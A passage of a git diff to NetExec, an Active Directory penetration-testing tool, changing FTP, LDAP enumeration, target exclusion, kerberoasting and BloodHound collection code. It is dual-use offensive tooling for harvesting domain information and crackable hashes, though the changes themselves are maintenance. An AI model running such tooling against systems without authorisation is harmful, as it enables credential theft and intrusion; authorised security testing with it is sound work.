'{Path(download_path).parent}'") + make_dirs(Path(download_path).parent) try: with open(download_path, "wb") as fd: diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py index f6d3d4322f..d7835d6b64 100644 --- a/nxc/modules/timeroast.py +++ b/nxc/modules/timeroast.py @@ -97,7 +97,7 @@ def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_ if ready: reply = sock.recvfrom(120)[0] - # Extract RID, hash and "salt" if succesful. + # Extract RID, hash and "salt" if successful. if len(reply) == 68: salt = reply[:48] answer_rid = unpack(" ") return - csv_header_simple = ( - "id", - "ip", - "hostname", - "domain", - "os", - "dc", - "smbv1", - "signing", - ) - csv_header_detailed = ( - "id", - "ip", - "hostname", - "domain", - "os", - "dc", - "smbv1", - "signing", - "spooler", - "zerologon", - "petitpotam", - ) filename = line[2] if line[1].lower() == "simple": - hosts = self.db.get_hosts() - simple_hosts = [host[:8] for host in hosts] - write_csv(filename, csv_header_simple, simple_hosts) - # TODO: maybe add more detail like who is an admin on it, shares discovered, etc + csv_header = host_csv_headers(self.db.HostsTable, "simple") + write_csv(filename, csv_header, [host[: len(csv_header)] for host in self.db.get_hosts()]) elif line[1].lower() == "detailed": - hosts = self.db.get_hosts() - write_csv(filename, csv_header_detailed, hosts) + write_csv(filename, host_csv_headers(self.db.HostsTable, "detailed"), self.db.get_hosts()) elif line[1].lower() == "signing": hosts = self.db.get_hosts("signing") signing_hosts = [host[1] for host in hosts] @@ -310,10 +300,18 @@ def do_export(self, line): return print("[+] DPAPI secrets exported") elif command == "keys": + if len(line) < 3: + print("[-] invalid arguments, export keys ") + return + keys = self.db.get_keys() if line[1].lower() == "all" else self.db.get_keys(key_id=int(line[1])) + if not keys: + print("[-] No keys found in the database for the current protocol") + return writable_keys = [key[2] for key in keys] filename = line[2] write_list(filename, writable_keys) + print("[+] Keys exported") elif command == "wcc": if len(line) < 3: print("[-] invalid arguments, export wcc ") @@ -459,17 +457,13 @@ def do_proto(self, proto): db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"]) self.config.set("nxc", "last_used_db", proto) write_configfile(self.config, self.config_path) - try: - proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto) - proto_menu.cmdloop() - except UserExitedProto: - pass + proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto) + proto_menu.cmdloop() @staticmethod def help_proto(): help_string = """ - proto [smb|mssql|winrm] - *unimplemented protocols: ftp, rdp, ldap, ssh + proto [smb|mssql|winrm|ftp|rdp|ldap|ssh] Changes nxcdb to the specified protocol """ print_help(help_string) diff --git a/nxc/parsers/ip.py b/nxc/parsers/ip.py index 7106b83c42..e98381621a 100755 --- a/nxc/parsers/ip.py +++ b/nxc/parsers/ip.py @@ -1,22 +1,135 @@ +import netifaces from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface +from nxc.helpers.logger import highlight +from nxc.helpers.misc import identify_target_file +from nxc.config import exclude_hosts, skip_self +from nxc.logger import nxc_logger +from nxc.parsers.nmap import parse_nmap_xml +from nxc.parsers.nessus import parse_nessus_file + +from os.path import exists, isfile +from pathlib import Path +from sys import exit + + +def process_targets(args): + targets = [] + if hasattr(args, "target") and args.target: + for target in args.target: + try: + if exists(target) and isfile(target): + target_file_type = identify_target_file(target) + if target_file_type == "nmap": + targets.extend(parse_nmap_xml(target, args.protocol)) + elif target_file_type == "nessus": + targets.extend(parse_nessus_file(target, args.protocol)) + else: + with open(target) as target_file: + for target_entry in target_file: + targets.extend(parse_targets(target_entry.strip())) + else: + targets.extend(parse_targets(target)) + except Exception as e: + nxc_logger.fail(f"Failed to parse target '{target}': {e}") + + # Handle exclusions from config + excluded_ips = set() + + # Process exclude_hosts from config. Important, we are reusing the parse_targets because it + # already provides the code necessary for parsing all provided inputs + if args.exclude_hosts is not None: + exclude_hosts.extend(args.exclude_hosts) + + for excluded in exclude_hosts: + if Path(excluded).is_file(): + with open(excluded) as excluded_file: + for line in excluded_file.readlines(): + excluded_ips.update(parse_targets(line.strip())) + else: + excluded_ips.update(parse_targets(excluded)) + + # Process skip_self from config and cli argument + if skip_self or args.skip_self: + local_ips = get_local_ips() + if local_ips: + nxc_logger.debug(f"Local IP addresses detected: {local_ips}") + excluded_ips.update(local_ips) + else: + nxc_logger.error("Could not determine local IP address for skip_self") + + # Validate that all objects to be excluded are valid IP addresses + try: + for ip in excluded_ips: + ip_address(ip) + except ValueError as e: + nxc_logger.error(f"Invalid IP address in excluded hosts: {e}") + exit(1) + + # Filter out excluded targets + if excluded_ips: + ignore_target_warning = False + for target in targets: + try: + ip_address(target) + except ValueError: + if not ignore_target_warning: + ans = input(highlight("[!] Target is not an IP address, but exclusion list detected. Hostnames will not be filtered. Do you want to continue? [Y/n] ", "red")) + if ans.lower() not in ["y", "yes", ""]: + exit(1) + ignore_target_warning = True + + original_count = len(targets) + excluded_targets = [target for target in targets if target in excluded_ips] + targets = [target for target in targets if target not in excluded_ips] + nxc_logger.info(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}") + return targets + + +def get_local_ips(): + """Get the local IP address using netifaces library.""" + interfaces = netifaces.interfaces() + ips = set() + + for interface in interfaces: + # Skip loopback interface + if interface == "lo" or interface.startswith("lo"): + continue + + addresses = netifaces.ifaddresses(interface) + if netifaces.AF_INET in addresses: + for addr_info in addresses[netifaces.AF_INET]: + ip = addr_info.get("addr") + # Skip localhost and link-local addresses + if ip and not ip.startswith("127.") and not ip.startswith("169.254."): + ips.add(ip) + if netifaces.AF_INET6 in addresses: + for addr_info in addresses[netifaces.AF_INET6]: + ip = addr_info.get("addr") + # Skip localhost and link-local addresses + if ip and not ip.startswith("::1") and not ip.startswith("fe80::"): + ips.add(ip) + return ips def parse_targets(target): try: if "-" in target: start_ip, end_ip = target.split("-") + start = ip_address(start_ip) try: - end_ip = ip_address(end_ip) + end = ip_address(end_ip) except ValueError: - first_three_octets = start_ip.split(".")[:-1] - first_three_octets.append(end_ip) - end_ip = ip_address(".".join(first_three_octets)) + sep = ":" if start.version == 6 else "." + prefix = start_ip.split(sep)[:-1] + prefix.append(end_ip) + end = ip_address(sep.join(prefix)) - for ip_range in summarize_address_range(ip_address(start_ip), end_ip): + for ip_range in summarize_address_range(start, end): for ip in ip_range: yield str(ip) else: - if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local: + ip = ip_interface(target).ip + if ip.version == 6 and ip.is_link_local: yield str(target) else: for ip in ip_network(target, strict=False): diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index d91bcb6806..9b832056e2 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -1,15 +1,16 @@ +from io import BytesIO import os from nxc.config import process_secret from nxc.connection import connection from nxc.helpers.logger import highlight from nxc.logger import NXCAdapter -from ftplib import FTP, error_perm +from ftplib import FTP, error_perm, error_temp class ftp(connection): def __init__(self, args, db, host): self.protocol = "FTP" - self.remote_version = None + self.welcome_banner = "" super().__init__(args, db, host) @@ -26,11 +27,12 @@ def proto_logger(self): def enum_host_info(self): welcome = self.conn.getwelcome() self.logger.debug(f"Welcome result: {welcome}") - self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front - self.logger.debug(f"Remote version: {self.remote_version}") + for line in welcome.splitlines(): + self.welcome_banner += line.split("220", 1)[1].strip() # strip out the extra space in the front + self.logger.debug(f"Remote version: {self.welcome_banner}") def print_host_info(self): - self.logger.display(f"Banner: {self.remote_version}") + self.logger.display(f"Banner: {self.welcome_banner}") def create_conn_obj(self): self.conn = FTP() @@ -50,13 +52,12 @@ def plaintext_login(self, username, password): self.logger.debug(f"Response: {resp}") except Exception as e: self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})") - self.conn.close() return False # 230 is "User logged in, proceed" response, ftplib raises an exception on failed login if "230" in resp: self.logger.debug(f"Host: {self.host} Port: {self.port}") - self.db.add_host(self.host, self.port, self.remote_version) + self.db.add_host(self.host, self.port, self.welcome_banner) cred_id = self.db.add_credential(username, password) @@ -101,8 +102,9 @@ def plaintext_login(self, username, password): self.put_file(self.args.put[0], self.args.put[1]) if not self.args.continue_on_success: - self.conn.close() return True + + def disconnect(self): self.conn.close() def list_directory_full(self): @@ -115,6 +117,10 @@ def list_directory_full(self): self.logger.fail(f"Failed to list directory. Response: ({error_message})") self.conn.close() return False + except error_temp as e: + self.logger.fail(e) + self.conn.close() + return False return files def get_file(self, filename): @@ -125,10 +131,9 @@ def get_file(self, filename): if self.conn.encoding == "utf-8": # Switch the connection to binary self.conn.sendcmd("TYPE I") - # Check if the file exists - self.conn.size(filename) # Attempt to download the file - self.conn.retrbinary(f"RETR {filename}", open(downloaded_file, "wb").write) # noqa: SIM115 + with open(downloaded_file, "wb") as f: + self.conn.retrbinary(f"RETR {filename}", f.write) except error_perm as error_message: self.logger.fail(f"Failed to download the file. Response: ({error_message})") self.conn.close() @@ -146,7 +151,8 @@ def get_file(self, filename): def put_file(self, local_file, remote_file): try: # Attempt to upload the file - self.conn.storbinary(f"STOR {remote_file}", open(local_file, "rb")) # noqa: SIM115 + with open(local_file, "rb") as f: + self.conn.storbinary(f"STOR {remote_file}", f.read) except error_perm as error_message: self.logger.fail(f"Failed to upload file. Response: ({error_message})") return False @@ -159,6 +165,30 @@ def put_file(self, local_file, remote_file): else: self.logger.fail(f"Failed to upload: {local_file} to {remote_file}") + def cat(self): + # Extract the filename from the path + remote_file = self.args.cat + try: + # Check if the current connection is ASCII (ASCII does not support .size()) + if self.conn.encoding == "utf-8": + # Switch the connection to binary + self.conn.sendcmd("TYPE I") + # Attempt to get the file content + buf = BytesIO() + self.conn.retrbinary(f"RETR {remote_file}", buf.write) + except error_perm as error_message: + self.logger.fail(f"Failed to get file content. Response: ({error_message})") + return False + except FileNotFoundError: + self.logger.fail("Failed to get file content. Response: (No such file or directory.)") + return False + + try: + for line in buf.getvalue().decode().splitlines(): + self.logger.highlight(line) + except UnicodeDecodeError as e: + self.logger.fail(f"File is not in UTF-8: {e}") + def supported_commands(self): raw_supported_commands = self.conn.sendcmd("HELP") supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist] diff --git a/nxc/protocols/ftp/proto_args.py b/nxc/protocols/ftp/proto_args.py index ebf73300a1..01a9d56b20 100644 --- a/nxc/protocols/ftp/proto_args.py +++ b/nxc/protocols/ftp/proto_args.py @@ -7,6 +7,7 @@ def proto_args(parser, parents): cgroup = ftp_parser.add_argument_group("File Operations") cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List all files (including hidden) in the directory") + cgroup.add_argument("--cat", metavar="FILE", help="Display the contents of a file. Example: --cat /path/to/file") cgroup.add_argument("--get", metavar="FILE", help="Download a file") cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file") return parser diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 5404b07e8a..58285dbe89 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -41,7 +41,7 @@ from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh -from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument +from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument, sanitize_dns from nxc.logger import NXCAdapter from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB @@ -108,7 +108,7 @@ def create_conn_obj(self): ldap_url = f"{proto}://{self.host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") - self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) + self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host, timeout=self.args.ldap_timeout) if self.ldap_connection: self.logger.debug(f"ldap_connection: {self.ldap_connection}") except SysCallError as e: @@ -123,7 +123,7 @@ def create_conn_obj(self): self.logger.debug(f"{e} on host {self.host}") return False except OSError as e: - if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT): + if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT) or "timed out" in str(e): self.logger.info(f"Error connecting to {self.host}: {e}") return False else: @@ -147,11 +147,12 @@ def get_ldap_username(self): return "" def check_ldap_signing(self): - self.signing_required = False + self.signing_required = None ldap_url = f"ldap://{self.target}" try: - ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout) ldap_connection.login(domain=self.domain) + self.signing_required = False self.logger.debug(f"LDAP signing is not enforced on {self.host}") except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: @@ -159,12 +160,14 @@ def check_ldap_signing(self): self.signing_required = True else: self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}") + except OSError as e: + self.logger.debug(f"Connection error while checking LDAP signing on {self.host}: {e!s}") def check_ldaps_cbt(self): self.cbt_status = "Never" ldap_url = f"ldaps://{self.target}" try: - ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) ldap_connection.channel_binding_value = None ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: @@ -173,7 +176,7 @@ def check_ldaps_cbt(self): self.cbt_status = "Always" # CBT is Required # Login failed (wrong credentials). test if we get an error with an existing, but wrong CBT -> When supported elif str(e).find("data 52e") >= 0: - ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) new_cbv = bytearray(ldap_connection.channel_binding_value) new_cbv[15] = (new_cbv[3] + 1) % 256 ldap_connection.channel_binding_value = bytes(new_cbv) @@ -185,6 +188,7 @@ def check_ldaps_cbt(self): self.cbt_status = "When Supported" # CBT is When Supported else: self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}") + self.cbt_status = "Unknown" except SysCallError as e: self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}") if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]: @@ -222,13 +226,13 @@ def enum_host_info(self): except Exception as e: self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}") - self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") - self.target = target - self.targetDomain = target_domain + self.target = sanitize_dns(target or self.host, self.logger) + self.targetDomain = sanitize_dns(target_domain or (target.split(".", 1)[1] if "." in target else target), self.logger) self.baseDN = base_dn + self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") # Parse hostname and remoteName - self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target + self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger) self.remoteName = self.target # Parse NTLM challenge @@ -283,7 +287,12 @@ def enum_host_info(self): def print_host_info(self): self.logger.debug("Printing host info for LDAP") - signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"]) + if self.signing_required is True: + signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) + elif self.signing_required is False: + signing = colored("signing:None", host_info_colors[1], attrs=["bold"]) + else: + signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"]) cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"]) ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" @@ -335,7 +344,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -364,7 +373,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", color="yellow", ) # If no preauth is set, we want to be able to execute commands such as --kerberoasting - if self.args.no_preauth_targets: # noqa: SIM103 + if self.args.no_preauth_targets: # ruff: ignore[needless-bool] return True else: return False @@ -394,7 +403,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -458,7 +467,7 @@ def plaintext_login(self, domain, username, password): proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple") + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") @@ -487,7 +496,7 @@ def plaintext_login(self, domain, username, password): self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") @@ -554,7 +563,7 @@ def hash_login(self, domain, username, ntlm_hash): proto = "ldaps" if self.port == 636 else "ldap" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") @@ -580,7 +589,7 @@ def hash_login(self, domain, username, ntlm_hash): self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") @@ -746,12 +755,12 @@ def users_export(self): self.users() def groups(self): - # Building the search filter + # Group specific member search if self.args.groups: self.logger.debug(f"Dumping group: {self.args.groups}") - # Resolve group DN and primaryGroupID (objectSid) - group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid"]) + # Resolve group DN and primaryGroupID (objectSid) and member attribute + group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid", "member"]) group_parsed = parse_result_attributes(group_resp) if not group_parsed: @@ -759,29 +768,63 @@ def groups(self): return else: group = group_parsed[0] + direct_group_members = group.get("member", []) + if not isinstance(direct_group_members, list): + direct_group_members = [direct_group_members] - # Search filter: user must have membership OR primaryGroupID + # Get all group members: user must have membership OR primaryGroupID search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))" attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"] + resp = self.search(search_filter, attributes) + group_members = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned {len(group_members)}") + + # Resolve any missing group members that the memberOf/primaryGroupID search above didn't already return + if len(group_members) < len(direct_group_members): + for member_dn in direct_group_members: + member_resp = self.search(f"(distinguishedName={member_dn})", ["sAMAccountName", "distinguishedName", "cn", "objectClass"]) + member_parsed = parse_result_attributes(member_resp) + + if member_parsed: + group_members.append(member_parsed[0]) + else: + self.logger.debug(f"Failed to resolve group member DN '{member_dn}' for group '{self.args.groups}'") + group_members.append({"distinguishedName": member_dn}) - else: - search_filter = "(objectCategory=group)" - attributes = ["cn", "member", "description"] - - resp = self.search(search_filter, attributes) - resp_parsed = parse_result_attributes(resp) - self.logger.debug(f"Total of records returned {len(resp_parsed)}") + # Deduplicate group members by distinguishedName or cn + deduped = {} + for item in group_members: + key = item.get("distinguishedName", item.get("cn", "")).lower() + deduped.setdefault(key, item) + resp_parsed = list(deduped.values()) - if self.args.groups: # Display group members if not resp_parsed: self.logger.fail(f"Group '{self.args.groups}' has no members") else: for item in resp_parsed: - # Display sAMAccountName or CN if sAMAccountName not present (could be a group) - # Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names) - self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"]) + # Display cn if it is a group + # Otherwise display sAMAccountName and fall back to cn if sAMAccountName is not present + # If nothing is present, display Distinguished Name + if "group" in item.get("objectClass", []): + out = item["cn"] + elif "sAMAccountName" in item: + out = item["sAMAccountName"] + elif "cn" in item: + out = item["cn"] + else: + out = item["distinguishedName"] + self.logger.highlight(out) + + # List all groups else: + search_filter = "(objectCategory=group)" + attributes = ["cn", "member", "description"] + + resp = self.search(search_filter, attributes) + resp_parsed = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned {len(resp_parsed)}") + # Display all groups self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}") for item in resp_parsed: @@ -794,6 +837,52 @@ def groups(self): self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {e}") + def ous(self): + if self.args.ous: + # Find the OU's distinguished name first + self.logger.debug(f"Dumping users from OU: {self.args.ous}") + ou_resp = self.search( + f"(&(objectCategory=organizationalUnit)(ou={self.args.ous}))", + ["distinguishedName"], + ) + ou_parsed = parse_result_attributes(ou_resp) + + if not ou_parsed: + self.logger.fail(f"OU '{self.args.ous}' not found") + return + + self.logger.debug(f"Found OU DN: {ou_parsed[0]['distinguishedName']}") + + # Search for users scoped to that OU + resp = self.search( + "(&(objectCategory=person)(objectClass=user))", + ["sAMAccountName", "cn"], + baseDN=ou_parsed[0]["distinguishedName"], + ) + resp_parsed = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned: {len(resp_parsed)}") + + if not resp_parsed: + self.logger.fail(f"OU '{self.args.ous}' has no users") + return + + self.logger.highlight(f"{'-sAMAccountName-':<30} -cn-") + for user in resp_parsed: + self.logger.highlight(f"{user.get('sAMAccountName'):<30} {user.get('cn', '')}") + else: + # List all OUs + self.logger.debug("Dumping all organizational units") + resp = self.search("(objectCategory=organizationalUnit)", ["ou", "distinguishedName"]) + resp_parsed = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned: {len(resp_parsed)}") + + self.logger.highlight(f"{'-OU-':<40} -Distinguished Name-") + for ou in resp_parsed: + try: + self.logger.highlight(f"{ou['ou']:<40} {ou['distinguishedName']}") + except Exception as e: + self.logger.debug(f"Exception: {e}", exc_info=True) + def computers(self): resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["sAMAccountName"]) resp_parsed = parse_result_attributes(resp) @@ -853,8 +942,7 @@ def resolve_and_display_hostname(name, domain_name=None): resp_parse = parse_result_attributes(resp) for item in resp_parse: if "dNSHostName" in item: # Get dNSHostName attribute - name = item["dNSHostName"] - resolve_and_display_hostname(name) + resolve_and_display_hostname(item["dNSHostName"]) # Find all trusted domains self.logger.info("Enumerating Trusted Domains...") @@ -1016,11 +1104,12 @@ def kerberoasting(self): self.logger.highlight("No entries found!") return - disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + # Filter disabled and invalid accounts + disabled_accounts = [x for x in resp_parsed if int(x.get("userAccountControl", 0)) & UF_ACCOUNTDISABLE] for account in disabled_accounts: self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") - enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + enabled = [x for x in resp_parsed if not int(x.get("userAccountControl", 0)) & UF_ACCOUNTDISABLE] if self.args.targeted_kerberoast: self.logger.success(f"Found {len(enabled)} enabled users without SPN.") @@ -1137,28 +1226,27 @@ def query(self): self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}") try: resp = self.search(search_filter, attributes, 0) - resp_parsed = parse_result_attributes(resp) except LDAPFilterSyntaxError as e: self.logger.fail(f"LDAP Filter Syntax Error: {e}") return - for idx, entry in enumerate(resp_parsed): - if not isinstance(resp[idx], ldapasn1_impacket.SearchResultEntry): - idx += 1 # Skip non-entry responses - self.logger.success(f"Response for object: {resp[idx]['objectName']}") - for attribute in entry: - if isinstance(entry[attribute], list) and entry[attribute]: + # A search response also holds SearchResultReference objects, which carry no attributes and must not be indexed like an entry. + entries = [item for item in resp if isinstance(item, ldapasn1_impacket.SearchResultEntry)] + for entry, attribute_map in zip(entries, parse_result_attributes(entries), strict=True): + self.logger.success(f"Response for object: {entry['objectName']}") + for attribute, value in attribute_map.items(): + if isinstance(value, list) and value: # Display first item in the same line as attribute - self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}") - for item in entry[attribute]: + self.logger.highlight(f"{attribute:<20} {value.pop(0)}") + for item in value: self.logger.highlight(f"{'':<20} {item}") else: - self.logger.highlight(f"{attribute:<20} {entry[attribute]}") + self.logger.highlight(f"{attribute:<20} {value}") def find_delegation(self): def printTable(items, header): colLen = [] - # Calculating maximum lenght before parsing CN. + # Calculating maximum length before parsing CN. for i, col in enumerate(header): rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items) colLen.append(max(rowMaxLen, len(col))) @@ -1644,10 +1732,11 @@ def bloodhound(self): aeskey=self.aesKey, kdc=self.kdcHost, auth_method="auto", + ldap_channel_binding=self.cbt_status == "Always" ) ad = AD( auth=auth, - domain=self.domain, + domain=self.targetDomain, nameserver=self.args.dns_server, dns_tcp=self.args.dns_tcp, dns_timeout=self.args.dns_timeout, @@ -1655,7 +1744,7 @@ def bloodhound(self): self.logger.debug("Using DNS to retrieve domain information") try: - ad.dns_resolve(domain=self.domain) + ad.dns_resolve(domain=self.targetDomain) except (resolver.LifetimeTimeout, resolver.NoNameservers): self.logger.fail("Bloodhound-python failed to resolve domain information, try specifying the DNS server.") return @@ -1682,9 +1771,13 @@ def bloodhound(self): exclude_dcs=False, ) except Exception as e: - self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}") - self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True) - return + if "ldap3-bleeding-edge" in str(e): + self.logger.fail("Bloodhound collection failed due to channel binding requirements. Inject 'ldap3-bleeding-edge': pipx inject netexec ldap3-bleeding-edge") + return + else: + self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}") + self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True) + return # Collect ADCS data using CertiHound if requested if "adcs" in collect: @@ -1718,13 +1811,13 @@ def _collect_adcs_for_bloodhound(self, timestamp): # Create CertiHound adapter and collector adapter = ImpacketLDAPAdapter( search_func=self.search, - domain=self.domain, + domain=self.targetDomain, domain_sid=self.sid_domain, ) collector = ADCSCollector.from_external( ldap_connection=adapter, - domain=self.domain, + domain=self.targetDomain, domain_sid=self.sid_domain, ) data = collector.collect_all() diff --git a/nxc/protocols/ldap/kerberos.py b/nxc/protocols/ldap/kerberos.py index d5f4752074..6dd10d38fd 100644 --- a/nxc/protocols/ldap/kerberos.py +++ b/nxc/protocols/ldap/kerberos.py @@ -167,7 +167,7 @@ def get_tgt_kerberoasting(self, kcache=None): if e.errno == 113: self.logger.fail(f"Unable to resolve KDC hostname: {e!s}") else: - self.logger.fail(f"Some other OSError occured: {e!s}") + self.logger.fail(f"Some other OSError occurred: {e!s}") return None except Exception as e: 